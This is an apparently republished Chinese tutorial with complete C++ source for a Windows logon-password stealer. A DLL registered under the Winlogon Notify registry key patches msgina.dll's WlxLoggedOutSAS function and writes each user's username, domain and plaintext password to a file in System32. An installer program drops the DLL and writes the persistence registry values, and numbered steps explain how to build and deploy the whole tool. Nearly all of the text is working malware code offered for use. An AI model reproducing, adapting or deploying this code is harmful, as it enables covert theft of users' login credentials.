实现步骤:
1. 生成GetInfo.dll
2. 将生成的GetInfo.dll作为资源放到GetPwd工程中
3. 生成GetInfo.exe
4. 运行GetInfo.exe install
5. 重启机器,输入密码,进入系统后会得到C:\WINDOWS\System32\getPwdout.txt文件,文件内容为:
实现原理:
将GetInfo.dll,放在WinLogon\Notify注册表下时,系统启动后会自动加载GetInfo.dll,而GetInfo.dll在加载时会HOOK掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。。
GetInfo.dll的实现
// GetInfo.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "GetInfo.h"
#include <stdio.h>
#include <fstream.h>
#include <iostream.h>
//using namespace std;
//宏定义
#define WLX_SAS_ACTION_LOGON(1)
//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {
PWSTR pszUserName;
PWSTR pszDomain;
PWSTR pszPassword;
PWSTR pszOldPassword;
} WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;
//函数原形
typedef int (WINAPI* WlxLoggedOutSAS)(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
);
//自定义接管的API函数,形参保持一致
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
);
//定义字节对齐方式
#pragma pack(1)
struct HookTable{
HMODULE hMsgina;
WlxLoggedOutSAS OldADDR;
WlxLoggedOutSAS NewADDR;
unsigned char charOldCode[6];
unsigned char charJmpCode[6];
};
//全局hook表
HookTable hooktable = {
0,
0,
&FunNewADDR,
"\x8b\xff\x55\x8B\xEC",
"\xE9\x00\x00\x00\x00"
};
#pragma pack()
//////////////////////////////////////////////////////////////////////////
/////函数声明
///////////////////////////////////////////////////////////////////////////
VOID UnHookWlxLoggedOutSAS();
VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo);
DWORD WINAPI StartHook(LPVOID lpParam);
VOID HookWlxLoggedOutSAS();
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
)
/************************************************************************/
/* 函数说明:自定义函数,用来取代WlxLoggedOutSAS */
/* 参数:与WlxLoggedOutSAS参数相同 */
/* 返回值:与WlxLoggedOutSAS返回值相同 */
/************************************************************************/
{
UnHookWlxLoggedOutSAS();
int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile);
if (i == WLX_SAS_ACTION_LOGON)
{
WriteLog(pNprNotifyInfo);
}
return i;
}
VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo)
/************************************************************************/
/* 函数说明:将得到的用户名和密码信息写入%system%/getPwdout.txt文件中 */
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体 */
/* 返回值:无 */
/************************************************************************/
{
char szSystemDir[MAX_PATH] = {0};
GetSystemDirectory(szSystemDir, MAX_PATH - 1 );
char szFilePath[MAX_PATH] = {0};
strcat(szFilePath, szSystemDir);
strcat(szFilePath, "\\getPwdout.txt");
ofstream outfile;
outfile.open(szFilePath);
char szContent[1024 * 4] = {0};
sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword);
outfile.write(szContent, strlen(szContent));
outfile.close();
}
VOID HookWlxLoggedOutSAS()
/************************************************************************/
/* 函数说明:HOOK WlxLoggedOutSAS函数 */
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
DWORD OldProcte;
VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
unsigned char *p = (unsigned char*)hooktable.OldADDR;
for (int i=0; i < 5; i++)
{
p[i] = hooktable.charJmpCode[i];
}
VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
return;
}
VOID UnHookWlxLoggedOutSAS()
/************************************************************************/
/* 函数说明:恢复WlxLoggedOutSAS函数的原形 */
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
DWORD OldProcte;
VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
unsigned char *p = (unsigned char*)hooktable.OldADDR;
for (int i=0; i < 5; i++)
{
p[i] = hooktable.charOldCode[i];
}
VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
return;
}
DWORD WINAPI StartHook(LPVOID lpParam)
/************************************************************************/
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数 */
/* 参数:无 */
/* 返回值:0表示成功 */
/************************************************************************/
{
//得到msgina.dll
//hooktable.hMsgina
int n = 0;
hooktable.hMsgina = LoadLibrary("msgina.dll");
n = GetLastError();
if (NULL == hooktable.hMsgina)
{
printf("getmoduleHandle msgina.dll error");
return -1;
}
//得到WlxLoggedOutSAS
hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
if (NULL == hooktable.OldADDR)
{
printf("GetProcAddress WlxLoggedOutSAS error");
return -1;
}
int *OpCode = (int*)&hooktable.charJmpCode[1];
int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
*OpCode = Code;
HookWlxLoggedOutSAS();
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
/************************************************************************/
/* 函数说明:DLL的主函数 */
/* 参数: */
/* 返回值: */
/************************************************************************/
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);
StartHook(NULL);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// This is the constructor of a class that has been exported.
// see GetInfo.h for the class definition
CGetInfo::CGetInfo()
{
return;
}
extern "C" __declspec(dllexport) void start()
{
return;
}
// getpwd.cpp : Defines the entry point for the console application.
//
#include "afx.h"
#include <Windows.h>
#include "resource.h"
#include <Winerror.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
LPBYTE CString_To_LPBYTE(CString str)
/************************************************************************/
/* 函数说明:将cstring类型转换成LPBYTE类型 */
/* 参数:str 要转换的CString类型 */
/* 返回值:LPBYTE 转换后的LPBYTE类型 */
/************************************************************************/
{
LPBYTE lpb=new BYTE[str.GetLength()+1];
for(int i=0;i<str.GetLength();i++)
lpb[i]=str[i];
lpb[str.GetLength()]=0;
return lpb;
}
BOOL install()
/************************************************************************/
/* 函数说明:释放DLL,并将DLL的路径写入到注册表中 */
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
//释放资源
//定位我们的自定义资源,这里因为我们是从本模块定位资源,所以将句柄简单地置为NULL即可
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL"));
if (NULL == hRsrc)
return FALSE;
//获取资源的大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
if (0 == dwSize)
return FALSE;
//加载资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (NULL == hGlobal)
return FALSE;
//锁定资源
LPVOID pBuffer = LockResource(hGlobal);
if (NULL == pBuffer)
return FALSE;
char szSystemDir[MAX_PATH] = {0};
GetSystemDirectory(szSystemDir, MAX_PATH-1);
char szRelDll[MAX_PATH] = {0};
strcat(szRelDll, szSystemDir);
strcat(szRelDll, "\\GetInfo.dll");
DeleteFile(szRelDll);
HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (NULL == hFile)
{
return FALSE;
}
DWORD dwWritten;
WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
FreeResource(hGlobal);
//将释放的DLL写入到注册 表的WINLOGON下,当WINLOGON启动时,会加载这个DLL
CString strDllPath = szRelDll; //("dog");
//设置有关的数据
//CString_To_LPBYTE,请参考下面的函数
LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定义用户姓名 owner_Set
DWORD type_1=REG_SZ;//定义数据类型
DWORD cbData_1=strDllPath.GetLength()+1;//定义数据长度
DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1);
if (ERROR_SUCCESS != status)
{
printf("write reg:dllname error");
return FALSE;
}
CString strStartUp("dog");
LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定义公司名称 company_Set
DWORD type_2=REG_SZ;//定义数据类型
DWORD cbData_2=strStartUp.GetLength()+1;//定义数据长度
status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2);
if (ERROR_SUCCESS != status)
{
printf("write reg:dllname error");
return FALSE;
}
return TRUE;
}
BOOL decry()
/************************************************************************/
/* 函数说明:用于解密生成的密码文件,生成密码文件时没有加密,所以这里没实现*/
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
return TRUE;
}
VOID usage()
/************************************************************************/
/* 函数说明:打印使用帮助 */
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
printf("************************************\n");
printf("usages:\n");
printf("getpwd.exe install\n");
printf("getpwd.exe decryp\n");
printf("************************************\n");
}
int main(int argc, char* argv[])
/************************************************************************/
/* 函数说明:Main函数 */
/* 参数:无 */
/* 返回值:无 */
/************************************************************************/
{
if (argc != 2)
{
usage();
return -1;
}
if (stricmp(argv[1], "install") == 0)
{
install();
getchar();
return 0;
}
else if (stricmp(argv[1], "decryp") == 0)
{
decry();
return 0;
}
else
{
usage();
return 0;
}
return 0;
}
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。